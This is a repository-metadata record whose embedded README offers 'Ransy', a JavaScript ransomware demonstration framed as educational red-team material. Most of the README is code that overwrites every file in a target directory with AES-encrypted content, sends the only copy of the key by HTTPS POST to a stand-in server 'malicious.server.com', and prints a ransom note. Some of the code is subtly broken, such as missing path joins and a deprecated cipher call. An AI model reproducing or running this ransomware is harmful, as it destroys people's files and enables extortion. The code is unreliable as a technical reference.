{"id":22665269,"url":"https://github.com/volkansah/ransy-edu","last_synced_at":"2025-09-02T03:45:24.527Z","repository":{"id":162583939,"uuid":"632137787","full_name":"VolkanSah/Ransy-EDU","owner":"VolkanSah","description":"This JavaScript code provides a simplified example of a ransomware attack and its underlying techniques. It is intended for educational and ethical hacking purposes only, and should not be used for any illegal or unethical activities. It is important to always abide by the law and use technology responsibly and ethically to promote positive outcome","archived":false,"fork":false,"pushed_at":"2024-10-02T00:02:11.000Z","size":453,"stargazers_count":4,"open_issues_count":0,"forks_count":1,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-07-21T22:45:07.105Z","etag":null,"topics":["cybersecurity-education","example-code","malware","offensive-security","ransomeware-javascript","ransomware","ransomware-detection","ransomware-prevention","ransomware-source-code","ransomware-summary","redteam-tools","security","security-tools"],"latest_commit_sha":null,"homepage":"https://github.com/VolkanSah/JADE-edu","language":"JavaScript","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/VolkanSah.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null},"funding":{"github":["volkansah"],"patreon":null,"open_collective":null,"ko_fi":null,"tidelift":null,"community_bridge":null,"liberapay":null,"issuehunt":null,"otechie":null,"lfx_crowdfunding":null,"custom":null}},"created_at":"2023-04-24T19:40:33.000Z","updated_at":"2024-07-06T11:04:09.000Z","dependencies_parsed_at":"2024-04-28T04:44:58.563Z","dependency_job_id":"0ce65d35-cd1d-4094-b928-24d08ce69a5c","html_url":"https://github.com/VolkanSah/Ransy-EDU","commit_stats":null,"previous_names":["volkansah/ransy-edu"],"tags_count":2,"template":true,"template_full_name":null,"purl":"pkg:github/VolkanSah/Ransy-EDU","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/VolkanSah%2FRansy-EDU","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/VolkanSah%2FRansy-EDU/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/VolkanSah%2FRansy-EDU/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/VolkanSah%2FRansy-EDU/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/VolkanSah","download_url":"https://codeload.github.com/VolkanSah/Ransy-EDU/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/VolkanSah%2FRansy-EDU/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":273227388,"owners_count":25067685,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-02T02:00:09.530Z","response_time":77,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cybersecurity-education","example-code","malware","offensive-security","ransomeware-javascript","ransomware","ransomware-detection","ransomware-prevention","ransomware-source-code","ransomware-summary","redteam-tools","security","security-tools"],"created_at":"2024-12-09T13:29:49.945Z","updated_at":"2025-09-02T03:45:24.520Z","avatar_url":"https://github.com/VolkanSah.png","language":"JavaScript","funding_links":["https://github.com/sponsors/volkansah"],"categories":[],"sub_categories":[],"readme":"# Ransy - Demo Ransomware (EDU)\n\n**RedTeam / Offensive Security Demo** – By Volkan Sah (Update 08/2025)\n\n\u003e \\[!WARNING]\n\u003e This script is for **educational purposes only**. Running ransomware on systems you don’t own or without permission is **illegal and unethical**. Use only on safe, controlled environments.\n\n---\n\n## What It Does\n\nRansy demonstrates the **mechanics of ransomware**:\n\n* Encrypts files in a target directory\n* Sends a simulated beacon (for demo purposes)\n* Displays a mock ransom note\n\nIt’s **not a real attack**—designed for learning how ransomware works safely.\n\n---\n\n## Code Example (Simplified)\n\n```javascript\nvar fs = require('fs');         // File system operations\nvar crypto = require('crypto'); // Encryption library\nvar https = require('https');   // For sending beacon (demo)\n\n// Directory to target\nvar targetDirectory = '/user/files';\n\n// Generate a random encryption key\nvar encryptionKey = crypto.randomBytes(32).toString('hex');\n\n// Read and encrypt all files\nfs.readdirSync(targetDirectory).forEach(file =\u003e {\n  if (fs.lstatSync(file).isDirectory()) return; // Skip directories\n  var data = fs.readFileSync(file);             // Read file\n  var cipher = crypto.createCipher('aes-256-cbc', encryptionKey); // Encrypt\n  var encryptedData = cipher.update(data, 'utf8', 'hex') + cipher.final('hex');\n  fs.writeFileSync(file, encryptedData);       // Save encrypted file\n});\n\n// Send beacon with encryption key (simulated)\nvar beaconData = JSON.stringify({ key: encryptionKey });\nvar options = {\n  hostname: 'malicious.server.com', // Demo only\n  port: 443,\n  path: '/beacon',\n  method: 'POST',\n  headers: {\n    'Content-Type': 'application/json',\n    'Content-Length': beaconData.length\n  }\n};\n\nvar req = https.request(options, res =\u003e {\n  console.log(`Beacon sent (status: ${res.statusCode})`);\n});\nreq.on('error', error =\u003e console.error(`Error: ${error}`));\nreq.write(beaconData);\nreq.end();\n\n// Display ransom note (demo)\nconsole.log(`\nYour files have been encrypted!\nContact us at malicious@server.com to get the decryption key.\n`);\n```\n\n---\n\n## Code Explanation\n\n1. **File System (`fs`)** – Read and write files.\n2. **Crypto (`crypto`)** – Generates random keys and encrypts file content with AES-256-CBC.\n3. **HTTPS (`https`)** – Sends beacon to a demo server (simulate C2).\n4. **Looping Files** – Reads files, skips directories, encrypts content, writes back.\n5. **Beaconing** – Sends JSON object with key (demo only).\n6. **Ransom Note** – Prints a message to simulate a ransom demand.\n\n---\n\n## Educational Notes\n\n* **Fallback \u0026 Beaconing**: Ransomware may retry commands or call home. This demo shows how beaconing works safely.\n* **Sandbox Testing**: Always use isolated folders or virtual machines to test.\n* **Browser Safety**: Tools like NoScript or Privacy Badger help prevent malicious JS from running.\n\n---\n\n## Disclaimer\n\n* **Use only in safe environments.**\n* The author is **not responsible** for misuse.\n* This is **educational only**, not production-ready.\n\n---\n\n## Contributing \u0026 Support\n\n* ⭐ Star the repo if helpful\n* Follow for updates\n* Visit [Volkan Sah GitHub](https://github.com/volkansah) or [site](https://volkansah.github.io)\n* Support via [GitHub Sponsors](https://github.com/sponsors/volkansah) ❤️\n\n---\n\n**License:** MIT – see [LICENSE](LICENSE) file.\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fvolkansah%2Fransy-edu","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fvolkansah%2Fransy-edu","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fvolkansah%2Fransy-edu/lists"}